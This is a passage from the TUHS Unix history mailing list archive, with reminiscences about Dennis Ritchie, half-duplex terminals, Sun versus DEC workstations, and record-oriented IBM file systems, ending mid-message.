An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170909/a4869f25/attachment.html>

From usotsuki at buric.co  Sun Sep 10 05:40:02 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Sat, 9 Sep 2017 15:40:02 -0400 (EDT)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <de2b89ca-8e80-ad56-8db4-a128e00d75dd@kilonet.net>
References: <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>
 <9CA2C1B8-50FC-4CDB-BF3D-E922ABDE7464@cheswick.com>
 <de2b89ca-8e80-ad56-8db4-a128e00d75dd@kilonet.net>
Message-ID: <alpine.BSF.2.02.1709091538270.82339@frieza.hoshinet.org>

On Sat, 9 Sep 2017, Arthur Krewat wrote:

> TOPS-10 allowed type-ahead, with the caveat that if a program exited with an 
> error, it would intentionally clear the TTY buffer. Something I actually 
> sorely miss.

That's actually a nice-ish feature.

> IIRC, the type-ahead buffer was only around 80 characters. If you exceeded 
> it, it beeped at you ;)

Reminds me of the 15-key buffer in the PC BIOS, which also beeps if you 
run out.

-uso.


From stewart at serissa.com  Sun Sep 10 06:33:54 2017
From: stewart at serissa.com (Lawrence Stewart)
Date: Sat, 9 Sep 2017 16:33:54 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <9CA2C1B8-50FC-4CDB-BF3D-E922ABDE7464@cheswick.com>
References: <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>
 <9CA2C1B8-50FC-4CDB-BF3D-E922ABDE7464@cheswick.com>
Message-ID: <CF4B32D8-D205-41A2-9244-3F8F7ED37F52@serissa.com>

What, you didn’t like IBM 2741 terminals that mechanically locked the keyboard?

> On 2017, Sep 9, at 9:04 AM, William Cheswick <ches at cheswick.com> wrote:
> 
> Amen.  There were a number of things that really sucked at the time.  
> My least favorite: time sharing systems that didn’t allow type-ahead.
> 
> Kids these days...
> 
>> On 9Sep 2017, at 12:34 AM, Steve Johnson <scj at yaccman.com <mailto:scj at yaccman.com>> wrote:
>> 
>> For people used to that world, "echo hello >hi" was literally jaw dropping.  Many people had to have it explained twice, because they literally could not conceive of a file being created so easily.  I had worked in the computing center for a couple of years, and probably gave more than my share of demos to mainframe users...
>> 
>> Steve
> 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170909/3f96ceb6/attachment.html>

From scj at yaccman.com  Sun Sep 10 07:56:27 2017
From: scj at yaccman.com (Steve Johnson)
Date: Sat, 09 Sep 2017 14:56:27 -0700
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <CF4B32D8-D205-41A2-9244-3F8F7ED37F52@serissa.com>
Message-ID: <45d1af623f19e5b644b5f0e1ada37f94cea1f2a6@webmail.yaccman.com>

Part of that problem was probably electronic, not software.   Many
of the early terminals were half-duplex.  The normal mode was that
the terminal typed what came over the line, and the keyboard was
locked.  If you wanted to let the terminal send data, you needed to
send a control character to unlock the keyboard, and then another one
to lock it when you wanted to send data again.

As you may know, the first PDP-11 at Bell Labs was financed by the
patent department because there were very draconian rules about
submitting patents (every page had to have exactly 50 numbered lines,
lines could not be blank, numbers must be in order, etc.)   A change
on page 3 of a 25-page patent application could mean that the whole
thing had to be retyped (yes, manually...).   That need drove a lot
of the early nroff work.  And, when upper/lower case terminals became
common, many still had half duplex interfaces.    When the Unix
software got good enough, it started to get used by real typists, who
were used to electric typewriters.  There was bitter complaint about
the half duplex (keyboard lock) mode -- the typists were so fast that
when the keyboard locked they could break their fingernails!  Full
duplex pretty much solved that problem, and Unix, as far as I
remember, embraced it earlier than most other systems.

Steve

PS:  The Usenix publication ";login:" got its name because that's
what a half-duplex system wrote for the login message when viewed on a
full duplex terminal.  The ; and : were actually control
characters...

----- Original Message -----
From: "Lawrence Stewart" <stewart at serissa.com>
To:"William Cheswick" <ches at cheswick.com>
Cc:"TUHS main list" <tuhs at minnie.tuhs.org>
Sent:Sat, 9 Sep 2017 16:33:54 -0400
Subject:Re: [TUHS] Happy birthday, Dennis Ritchie!

 What, you didn’t like IBM 2741 terminals that mechanically locked
the keyboard?

On 2017, Sep 9, at 9:04 AM, William Cheswick <ches at cheswick.com [1]>
wrote:

Amen.  There were a number of things that really sucked at the time.
 
My least favorite: time sharing systems that didn’t allow
type-ahead.

Kids these days...

On 9Sep 2017, at 12:34 AM, Steve Johnson <scj at yaccman.com [2]> wrote:

For people used to that world, "echo hello >hi" was literally jaw
dropping.  Many people had to have it explained twice, because they
literally could not conceive of a file being created so easily.  I
had worked in the computing center for a couple of years, and probably
gave more than my share of demos to mainframe users...
Steve

 

Links:
------
[1] mailto:ches at cheswick.com
[2] mailto:scj at yaccman.com

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170909/1e8b75db/attachment.html>

From dave at horsfall.org  Sun Sep 10 11:27:48 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Sun, 10 Sep 2017 11:27:48 +1000 (EST)
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <45d1af623f19e5b644b5f0e1ada37f94cea1f2a6@webmail.yaccman.com>
References: <45d1af623f19e5b644b5f0e1ada37f94cea1f2a6@webmail.yaccman.com>
Message-ID: <alpine.BSF.2.21.1709101117090.89458@aneurin.horsfall.org>

On Sat, 9 Sep 2017, Steve Johnson wrote:

> Part of that problem was probably electronic, not software.   Many of 
> the early terminals were half-duplex.  The normal mode was that the 
> terminal typed what came over the line, and the keyboard was locked.  If 
> you wanted to let the terminal send data, you needed to send a control 
> character to unlock the keyboard, and then another one to lock it when 
> you wanted to send data again.

Aah, well I remember the times that I felt like leaning over to hit
the Big Switch on our 360/50, when the console jammed...

That was the Blue Button, of course, not the Red Switch (we weren't 
allowed to pull that).

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

From arnold at skeeve.com  Sun Sep 10 19:44:25 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Sun, 10 Sep 2017 03:44:25 -0600
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
Message-ID: <201709100944.v8A9iPeb024293@freefriends.org>

Dave Horsfall <dave at horsfall.org> wrote:

> Sadly no longer with us (he exited in 2011), he was forked in 1941.  Just 
> think, if it wasn't for him and Ken, we'd all be running Windoze, and 
> thinking it's wonderful.
>
> A Unix bigot through and through, I remain,
>
> -- 
> Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

I just want to say that Dennis Ritchie was "a scholar and a gentleman".
He was always warm, polite, friendly, and down to earth, both in his
correspondance with me, and in direct conversation the few times I
talked to him in person at USENIX conferences.  He helped out A LOT
when I had Unix history questions for whatever books I happened to
be writing.

Not only to me, of course, but he was that way with everyone. He also
had a warm sense of humor, and was very active in the TUHS and Unix
history preservation.

He continues to be missed.

Arnold


From b4 at gewt.net  Mon Sep 11 11:48:44 2017
From: b4 at gewt.net (Cory Smelosky)
Date: Sun, 10 Sep 2017 18:48:44 -0700
Subject: [TUHS] Move completed: slowly bringing stuff back up
Message-ID: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>

Evening,

Okay - now that I've completed moving and settling in, I am slowly
bringing some stuff back up.  UCBVAX should come back in the next few
weeks (now much closer to Berkeley...).

One advantage of the new location: cheaper power so my PBX runs all the
time now. ;)

Once I acquire a second modem I will accept UUCP at 115200 and 2400 baud
via telephone :)

-- 
  Cory Smelosky
  b4 at gewt.net


From dave at horsfall.org  Mon Sep 11 12:29:08 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Mon, 11 Sep 2017 12:29:08 +1000 (EST)
Subject: [TUHS] Move completed: slowly bringing stuff back up
In-Reply-To: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>
References: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>
Message-ID: <alpine.BSF.2.21.1709111224220.89458@aneurin.horsfall.org>

On Sun, 10 Sep 2017, Cory Smelosky wrote:

> Okay - now that I've completed moving and settling in, I am slowly 
> bringing some stuff back up.  UCBVAX should come back in the next few 
> weeks (now much closer to Berkeley...).

For some reason, I'm thinking of MOSCVAX, KREMVAX, KGBVAX...

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From jacob.ritorto at gmail.com  Mon Sep 11 14:15:38 2017
From: jacob.ritorto at gmail.com (Jacob Ritorto)
Date: Sun, 10 Sep 2017 21:15:38 -0700
Subject: [TUHS] Move completed: slowly bringing stuff back up
In-Reply-To: <alpine.BSF.2.21.1709111224220.89458@aneurin.horsfall.org>
References: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>
 <alpine.BSF.2.21.1709111224220.89458@aneurin.horsfall.org>
Message-ID: <33DE087C-630D-40AC-95CB-62422990966D@gmail.com>

See that, people.. Now they're associating Berkeley with fascism. 
;)

> On Sep 10, 2017, at 19:29, Dave Horsfall <dave at horsfall.org> wrote:
> 
>> On Sun, 10 Sep 2017, Cory Smelosky wrote:
>> 
>> Okay - now that I've completed moving and settling in, I am slowly bringing some stuff back up.  UCBVAX should come back in the next few weeks (now much closer to Berkeley...).
> 
> For some reason, I'm thinking of MOSCVAX, KREMVAX, KGBVAX...
> 
> -- 
> Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From itz at very.loosely.org  Mon Sep 11 15:13:10 2017
From: itz at very.loosely.org (Ian Zimmerman)
Date: Sun, 10 Sep 2017 22:13:10 -0700
Subject: [TUHS] Move completed: slowly bringing stuff back up
In-Reply-To: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>
References: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>
Message-ID: <20170911051310.owckase6igye5vo7@matica.foolinux.mooo.com>

On 2017-09-10 18:48, Cory Smelosky wrote:

> Okay - now that I've completed moving and settling in, I am slowly
> bringing some stuff back up.  UCBVAX should come back in the next few
> weeks (now much closer to Berkeley...).

Is that actual DEC VAX hardware, or an emulator?

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.


From grog at lemis.com  Mon Sep 11 16:00:57 2017
From: grog at lemis.com (Greg 'groggy' Lehey)
Date: Mon, 11 Sep 2017 16:00:57 +1000
Subject: [TUHS] Move completed: slowly bringing stuff back up
In-Reply-To: <33DE087C-630D-40AC-95CB-62422990966D@gmail.com>
References: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>
 <alpine.BSF.2.21.1709111224220.89458@aneurin.horsfall.org>
 <33DE087C-630D-40AC-95CB-62422990966D@gmail.com>
Message-ID: <20170911060057.GC42338@eureka.lemis.com>

On Sunday, 10 September 2017 at 21:15:38 -0700, Jacob Ritorto wrote:
>> On Sep 10, 2017, at 19:29, Dave Horsfall <dave at horsfall.org> wrote:
>>> On Sun, 10 Sep 2017, Cory Smelosky wrote:
>>>
>>> Okay - now that I've completed moving and settling in, I am slowly
>>> bringing some stuff back up.  UCBVAX should come back in the next
>>> few weeks (now much closer to Berkeley...).
>>
>> For some reason, I'm thinking of MOSCVAX, KREMVAX, KGBVAX...
>
> See that, people.. Now they're associating Berkeley with fascism.

Not only UCB, but the USSR too!  Stalin would have been horrified.

Greg
--
Sent from my desktop computer.
Finger grog at lemis.com for PGP public key.
See complete headers for address and phone numbers.
This message is digitally signed.  If your Microsoft mail program
reports problems, please read http://lemis.com/broken-MUA
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 163 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170911/00a56bcc/attachment.sig>

From b4 at gewt.net  Mon Sep 11 16:43:51 2017
From: b4 at gewt.net (Cory Smelosky)
Date: Sun, 10 Sep 2017 23:43:51 -0700
Subject: [TUHS] Move completed: slowly bringing stuff back up
In-Reply-To: <20170911051310.owckase6igye5vo7@matica.foolinux.mooo.com>
References: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>
 <20170911051310.owckase6igye5vo7@matica.foolinux.mooo.com>
Message-ID: <0249EA81-DEC7-493D-997F-AFCD178B3412@gewt.net>

UCBVAX is simulated, DECWRL is real hardware I need to find again.

Sent from my iPhone

> On Sep 10, 2017, at 22:13, Ian Zimmerman <itz at very.loosely.org> wrote:
> 
>> On 2017-09-10 18:48, Cory Smelosky wrote:
>> 
>> Okay - now that I've completed moving and settling in, I am slowly
>> bringing some stuff back up.  UCBVAX should come back in the next few
>> weeks (now much closer to Berkeley...).
> 
> Is that actual DEC VAX hardware, or an emulator?
> 
> -- 
> Please don't Cc: me privately on mailing lists and Usenet,
> if you also post the followup to the list or newsgroup.
> Do obvious transformation on domain to reply privately _only_ on Usenet.


From dave at horsfall.org  Mon Sep 11 16:58:46 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Mon, 11 Sep 2017 16:58:46 +1000 (EST)
Subject: [TUHS] Move completed: slowly bringing stuff back up
In-Reply-To: <33DE087C-630D-40AC-95CB-62422990966D@gmail.com>
References: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>
 <alpine.BSF.2.21.1709111224220.89458@aneurin.horsfall.org>
 <33DE087C-630D-40AC-95CB-62422990966D@gmail.com>
Message-ID: <alpine.BSF.2.21.1709111649530.89458@aneurin.horsfall.org>

On Sun, 10 Sep 2017, Jacob Ritorto wrote:

> See that, people.. Now they're associating Berkeley with fascism. ;)

How did the saying go, about Berkeley producing both BSD and LSD, and not 
thought to be a coincidence?

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."


From steffen at sdaoden.eu  Mon Sep 11 22:31:56 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Mon, 11 Sep 2017 14:31:56 +0200
Subject: [TUHS] Move completed: slowly bringing stuff back up
In-Reply-To: <alpine.BSF.2.21.1709111649530.89458@aneurin.horsfall.org>
References: <1505094524.4130645.1101599000.45DB692A@webmail.messagingengine.com>
 <alpine.BSF.2.21.1709111224220.89458@aneurin.horsfall.org>
 <33DE087C-630D-40AC-95CB-62422990966D@gmail.com>
 <alpine.BSF.2.21.1709111649530.89458@aneurin.horsfall.org>
Message-ID: <20170911123156.jN96A%steffen@sdaoden.eu>

Dave Horsfall <dave at horsfall.org> wrote:
 |On Sun, 10 Sep 2017, Jacob Ritorto wrote:
 |> See that, people.. Now they're associating Berkeley with fascism. ;)
 |
 |How did the saying go, about Berkeley producing both BSD and LSD, and not 
 |thought to be a coincidence?

No, LSD came from Hofmann, Albert, of Switzerland, found by
experimenting on himself.  (This is i think worth noting for
multiple reasons, first of all because of the fact itself, in line
with good old tradition of sciencists, as far as i know, then
because this was in 1943, and i also had to read a horrifying
vivisection story (with non-human life forms) not to long ago,
where people got space in an english scifientic magazine for
i think it was either about acid or fire injuries, and i do know
now that mice start intense licking when their skin faces acid (or
fire), mind you, i know free (wood) mice which are brave and rush
onto your shoes, free rats which open tunnels only to allow you to
have a look at newborns with eyes closed, and squirrels which just
say hello, if you once in a while spend some nuts and sunflower
seeds.  It will surely help improving something, though.)

But Ecstasy (MDA/MDMA) and such where developed by Alexander
Shulgin of California.

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From paul.winalski at gmail.com  Tue Sep 12 02:20:59 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Mon, 11 Sep 2017 12:20:59 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <CF4B32D8-D205-41A2-9244-3F8F7ED37F52@serissa.com>
References: <043e1f9205ac702c6cf01125a45d44afa956a210@webmail.yaccman.com>
 <9CA2C1B8-50FC-4CDB-BF3D-E922ABDE7464@cheswick.com>
 <CF4B32D8-D205-41A2-9244-3F8F7ED37F52@serissa.com>
Message-ID: <CABH=_VRo4meb+o22qGW7o580uqAZQsOHDZXxHEn2T7eq2pVpyw@mail.gmail.com>

On 9/9/17, Lawrence Stewart <stewart at serissa.com> wrote:
> What, you didn’t like IBM 2741 terminals that mechanically locked the
> keyboard?

In the business world, these terminals were typically half-duplex and
attached 4 or 8 (or more) to a control unit that communicated with the
computer using bisynch protocol.  It's like a telephone party
line--only one terminal can communicate with the computer at a time.
The remainder were locked out. [Note that Ethernet works pretty much
the same way.]  If you wanted to talk to the computer, you pressed the
"Request" key.  This caused the control unit to send an interrupt to
the computer, which in due course would then unlock your terminal and
talk to you.  This works out OK for transaction processing, but it's
not a good fit for interactive time-sharing.

-Paul W.


From paul.winalski at gmail.com  Tue Sep 12 02:30:47 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Mon, 11 Sep 2017 12:30:47 -0400
Subject: [TUHS] Happy birthday, Dennis Ritchie!
In-Reply-To: <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
Message-ID: <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>

On 9/8/17, William Pechter <pechter at gmail.com> wrote:
> If it wasn't for Unix, it possibly would have been VMS on Alpha... Or OS/2.
> Early Windows 3.x wouldn't have cut it.
>
> Perhaps without the Unix workstations DEC might have survived.
>
> Interesting alternate history...

Clem Cole and I could go on for pages on why DEC went out of business.
But it's pretty much off-topic for this list.

SUN captured the workstation market from Apollo and DEC because they
managed to sell workstations cheaper than their competitors.  I don't
think that the OS being UNIX had very much to do with it.  But using
UNIX probably lowered SUN's software development costs, and no doubt
that contributed to their lower workstation cost.

What ultimately did in DEC was missing the PC wave.  PCs did the same
thing to the minicomputer and workstation companies that minicomputers
did to mainframes in the 1970s.  PCs offered equivalent (or better)
capabilities at much reduced cost.  First they ate the word processor
market (remember Wang?) and then minicomputers and workstations.  UNIX
workstation manufacturers such as SUN suffered the same fate as DEC at
the hands of the PC.  UNIX did not save them.

-Paul W.


From jon at fourwinds.com  Tue Sep 12 02:49:16 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Mon, 11 Sep 2017 09:49:16 -0700
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo ]
In-Reply-To: <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
Message-ID: <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>

Paul Winalski writes:
> SUN captured the workstation market from Apollo and DEC because they
> managed to sell workstations cheaper than their competitors.  I don't
> think that the OS being UNIX had very much to do with it.  But using
> UNIX probably lowered SUN's software development costs, and no doubt
> that contributed to their lower workstation cost.

While the choice of UNIX may have played a small part, Sun really nailed
it with the SparcStation I.  Sure, they sold it for less than whatever
the DEC equivalent was at the time, but that's because their manufacturing
cost was way less.  The SparcStation I pioneered a lot of new manufacturing
technology; it was the first snap-together system.  I remember looking at
a tear-down of the DEC and Sun offerings, and the Sun had less than 10% of
the parts of the equivalent DEC system.  Methinks that better engineering
won the day.

Jon


From paul.winalski at gmail.com  Tue Sep 12 03:26:48 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Mon, 11 Sep 2017 13:26:48 -0400
Subject: [TUHS] File-as-record (was: Happy birthday, Dennis Ritchie!)
In-Reply-To: <20170909013034.GA42338@eureka.lemis.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <20170908210450.C0FA618C08E@mercury.lcs.mit.edu>
 <20170908210927.GB24413@DD0DDC435AC34EA8A55ABC3A9753F2FB>
 <1504919790.59b340ee1620c@www.paradise.net.nz>
 <20170909013034.GA42338@eureka.lemis.com>
Message-ID: <CABH=_VQAZdt1WeHD6LEhDENn2b+gTeHbEGLVma_CQ6_w0WzNZQ@mail.gmail.com>

On 9/8/17, Greg 'groggy' Lehey <grog at lemis.com> wrote:
> On Saturday,  9 September 2017 at 13:16:30 +1200, Wesley Parish wrote:
>> 'fraid so. The Unix directory structure and the correlating
>> free-form file competed with the file-as- record-structure and
>> directory-as-record-structure in the seventies and eighties. The
>> competition had finished by the nineties, and hardly anybody
>> remembers it now.
>
> Sorry, I don't understand this.  Can you give an example of
> file-as-record and directory-as-record?  Some of it suggests MVS, but
> not quite.

At least in the IBM world, disk drives originally didn't have their
tracks formatted into fixed-length sectors as they are today.  Early
on in the business world, everything was record-oriented.  Except for
the very largest ones, computers didn't have the either the speed or
the memory to do database processing as we now know it.  For most
business shops, there was sequential file processing, random access
(where you had to know the cylinder and head position of the record
you wanted), and indexed sequential access (by the value of a key
field in the record).

Disks in those days (pre-mid 70s) were not formatted in fixed-length
sectors as they are today.  Instead, records could be arbitrary length
(limited by the capacity of a single disk track, of course) and had
three fields:  a count field containing the number of bytes in the
record, a key field for indexed access, and a data field.  This format
was called CKD (count/key/data).  On IBM disks, records were addressed
by a number of the form CCCHHRR, where CCC is the cylinder, HH the
head, and RR the record on the track (for the data cell drive, there
was also a two digit bin number).  The disk controller could also do a
"seek by key" operation.  This would scan the track for a record whose
key field matched the given key.  It was used to implement indexed
sequential access.

For System/360/370, the OSes for the smaller, slower systems, such as
Basic Operating System (BOS) and Disk Operating System (DOS and
DOS/VS) did not have an on-disk file system at all.  You had to
manually allocate the files on the disk and you used directives in job
control language (JCL) to tell the OS where your file was and to
assign it a logical unit number for the program to use (FORTRAN's I/O
reflects this).  The OSes for larger systems such as OS/MVS (and
perhaps its predecessor, OS/MVT?) had a catalog file that could
automate the process of assigning files to locations on disk.  This
was the closest these OSes came to a modern directory-oriented file
system.

In the business world this is not as grim as it might seem.  Most
businesses had a small number of files that didn't change very often.
For example, a college has accounts payable/receivable, student
academic records, alumni/charitable giving, and payroll and personnel.
These get allocated once and, provided the initial disk allocation is
sufficient, don't have to move.

On the programming side, there wasn't either the memory capacity or
processing power to implement a modern disk file system.  One of the
first computers I worked with was a System/360 model 25 running
DOS/360.  The machine had 48K of core memory, 12K of which was for the
OS, leaving 36K for programs.  No virtual memory.  The OS had an 8K
resident kernel and two 2K overlay areas:  the physical transient area
(for controlling hardware; the forerunners of what we now call device
drivers) and the logical transient area (for the parts of program I/O
that had to operate in privileged mode, and for most OS system service
functions).  For I/O, each program contained library routines called
"access methods", which took logical file I/O operations (open, close,
read, write, seek, etc.), built the appropriate I/O channel programs,
and executed the EXCP (execute channel program) OS primitive.  The
access methods operated on logical I/O unit numbers, which as
previously noted were associated with places on-disk via JCL
statements before the program started execution.  The access methods
were SAM (Sequential Access Method; records read/written in on-disk
order), DAM (Direct Access Method; allowed seeking to an arbitrary
record using CCCHHRR address), and ISAM (Indexed Sequential Access
Method; allowed seeking to a record by key, and then reading/writing
sequentially from there).

The access methods and their capabilities mirrored the CKD disk format
of the time.  As disk hardware became denser and faster, and computers
got more memory, it became more efficient to format the disk as a set
of fixed-length sectors, which could be packed more densely and
accessed faster than CKD records.  Record blocking and unblocking was
moved to the OS or application.  Indexed access could be accomplished
a lot faster using B-trees in the file.

UNIX took the final step in this evolution by providing exclusively
byte-stream I/O in the OS, and leaving record processing up to the
application.  Those of us from the record-oriented world found this a
pain in the butt at first (application programmers were forced to roll
their own record processing, something that the access methods did for
you in the OS/360 world).  But by 1990 it was generally recognized
that stream I/O is the more appropriate OS primitive.

-Paul W.


From paul.winalski at gmail.com  Tue Sep 12 03:37:23 2017
From: paul.winalski at gmail.com (Paul Winalski)
Date: Mon, 11 Sep 2017 13:37:23 -0400
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo ]
In-Reply-To: <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
Message-ID: <CABH=_VSO51UW2nUdqb0dfNSoTkGCTtU0UVVj5f0hgQ-1y77Gdg@mail.gmail.com>

On 9/11/17, Jon Steinhart <jon at fourwinds.com> wrote:
>
> While the choice of UNIX may have played a small part, Sun really nailed
> it with the SparcStation I.  Sure, they sold it for less than whatever
> the DEC equivalent was at the time, but that's because their manufacturing
> cost was way less.  The SparcStation I pioneered a lot of new manufacturing
> technology; it was the first snap-together system.  I remember looking at
> a tear-down of the DEC and Sun offerings, and the Sun had less than 10% of
> the parts of the equivalent DEC system.  Methinks that better engineering
> won the day.

Absolutely.  I worked at DEC and had many engineer friends at Apollo,
and we were all shaking our heads wondering how Sun got their
manufacturing costs so low.  Scott McNealy's management style helped,
too.  Ken Olsen at DEC believed in consensus building; decisions
weren't final until everyone bought into them.  IMO this led to a lot
of (expensive) wrangling and slowed down corporate reaction to market
conditions.  Scott McNealy believed in the principle of a single
decision-maker:  "lead, follow, or get out of the way".  We at DEC
eventually moved to project management that involved a single lead
engineer who was responsible for the success of the project, and who
was empowered to make decisions when a consensus couldn't be found.
But that management style never really caught on, although in my
experience the most successful software projects were all organized
that way.

-Paul W.


From lm at mcvoy.com  Tue Sep 12 09:09:10 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Mon, 11 Sep 2017 16:09:10 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo ]
In-Reply-To: <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
Message-ID: <20170911230910.GH7819@mcvoy.com>

On Mon, Sep 11, 2017 at 09:49:16AM -0700, Jon Steinhart wrote:
> Paul Winalski writes:
> > SUN captured the workstation market from Apollo and DEC because they
> > managed to sell workstations cheaper than their competitors.  I don't
> > think that the OS being UNIX had very much to do with it.  But using
> > UNIX probably lowered SUN's software development costs, and no doubt
> > that contributed to their lower workstation cost.
> 
> While the choice of UNIX may have played a small part, Sun really nailed
> it with the SparcStation I.  Sure, they sold it for less than whatever
> the DEC equivalent was at the time, but that's because their manufacturing
> cost was way less.  The SparcStation I pioneered a lot of new manufacturing
> technology; it was the first snap-together system.  I remember looking at
> a tear-down of the DEC and Sun offerings, and the Sun had less than 10% of
> the parts of the equivalent DEC system.  Methinks that better engineering
> won the day.

And don't underestimate the draw of a BSD that was "fixed", had mmap that
worked, unified page cache, VFS layer that was pleasant.  I worked for
Lachman before I worked for Sun, saw the guts of quite a few Unix OS's.
SunOS was by *far* the most pleasant and well thought out.  It was an
OS where you could predict what it would do based on the architecture
and sure enough, that's what it did.

I miss that source base.


From arnold at skeeve.com  Tue Sep 12 17:38:46 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Tue, 12 Sep 2017 01:38:46 -0600
Subject: [TUHS] Happy birthday,
	Dennis Ritchie! [ really sun vs dec/apollo ]
In-Reply-To: <20170911230910.GH7819@mcvoy.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
Message-ID: <201709120738.v8C7ckOF007026@freefriends.org>

Larry McVoy <lm at mcvoy.com> wrote:

> And don't underestimate the draw of a BSD that was "fixed", had mmap that
> worked, unified page cache, VFS layer that was pleasant.  I worked for
> Lachman before I worked for Sun, saw the guts of quite a few Unix OS's.
> SunOS was by *far* the most pleasant and well thought out.  It was an
> OS where you could predict what it would do based on the architecture
> and sure enough, that's what it did.

Thinking about it, particularly in light of the fact that Oracle has
finally killed Solaris, it seems to me that another reason that Sun
succeeded was that they were the ones who really innovated.

In particular, the creation of NFS and then the efforts to make it into
a de-facto standard (giving away the RPC and XDR code) was a HUGE thing.

They weren't afraid to swim upstream, either. Even though NeWS never took
off (even when combined with an X server), it was an interesting design,
ahead of its time even.

They were the first of the major Unix vendors to really dive into RISC, if
I recall correctly.  MIPS may have been the first Unix vendor based on
a RISC architecture, but they were a startup.

DEC, IBM, and HP, all seemed to be playing follow the leader to Sun for
many years.

My two cents, as filtered through my aging memory, (:-)

Arnold


From doug at cs.dartmouth.edu  Tue Sep 12 21:18:52 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Tue, 12 Sep 2017 07:18:52 -0400
Subject: [TUHS] File-as-record
Message-ID: <201709121118.v8CBIqwn029754@coolidge.cs.Dartmouth.EDU>

> On the programming side, there wasn't either the memory capacity or
> processing power to implement a modern disk file system.  One of the
> first computers I worked with was a System/360 model 25 running
> DOS/360.  The machine had 48K of core memory, 12K of which was for the
> OS, leaving 36K for programs.  No virtual memory.

Unix was a counterexample. Recall that v1 worked on a 24K
